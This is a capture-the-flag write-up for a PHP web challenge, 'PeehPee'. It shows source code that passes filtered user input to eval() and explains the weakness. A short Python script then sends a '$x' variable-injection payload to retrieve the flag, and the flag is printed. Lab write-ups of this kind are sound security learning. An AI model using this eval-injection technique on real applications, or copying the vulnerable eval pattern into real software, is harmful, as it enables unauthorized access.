PeehPee

Difficulty
Easy
Points
150
Description
Are you able to access the secret area of Naruto ? I guess it's not that hard for you!
Quick Analysis
View the application source code via /?source endpoint
from requests import get, post
url = 'https://blackhat4-1f84feb8cf11458ef1fb78a4cfea94f8-0.chals.bh.ctf.sa'
<?php
//Show Page code source
if(isset($_GET["source"])){
    highlight_file(__FILE__);
}
// Juicy PHP Part
$flag=getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if(isset($_POST["email"])&&isset($_POST["pass"])){
        if($_POST["email"]==="[email protected]"){
            $x=$_POST["test"];
            $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
            if($inp==="SuperSecRetPassw0rd"){
                die("Hacking Attempt detected");
            }
            else{
                if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){
                    echo $flag;
                }
                else{
                    die("Pretty Close maybe ?");
                }
            }
​
        }
    }
}
?>
From the source code to obtain the flag:
The request method should be POST request.
The email parameter value must be [email protected].
The regex match a single character not present in a-z or A-Z or 0-9 or $ for the pass parameter.
The pass parameter value shouldn't equal SuperSecRetPassw0rd.
The eval function evaluates the pass parameter value.
The test parameter value is stored in the $x variable.
Since the pass parameter value is evaluated, the password SuperSecRetPassw0rd can be returned after evaluation via the test parameter $x variable.
Exploitation
data = { 'email': '[email protected]', 'test': 'SuperSecRetPassw0rd', 'pass': '$x' }
response = post(url, data = data)
The Flag
import re
html = response.text
flag = re.search('BlackHatMEA{(.*)}', html)
print(flag.group(0))
BlackHatMEA{551:17:5d19f71744009b71e8809d46d3b65876dbb5adff}
Spatify
Meme generator
Last modified 1yr ago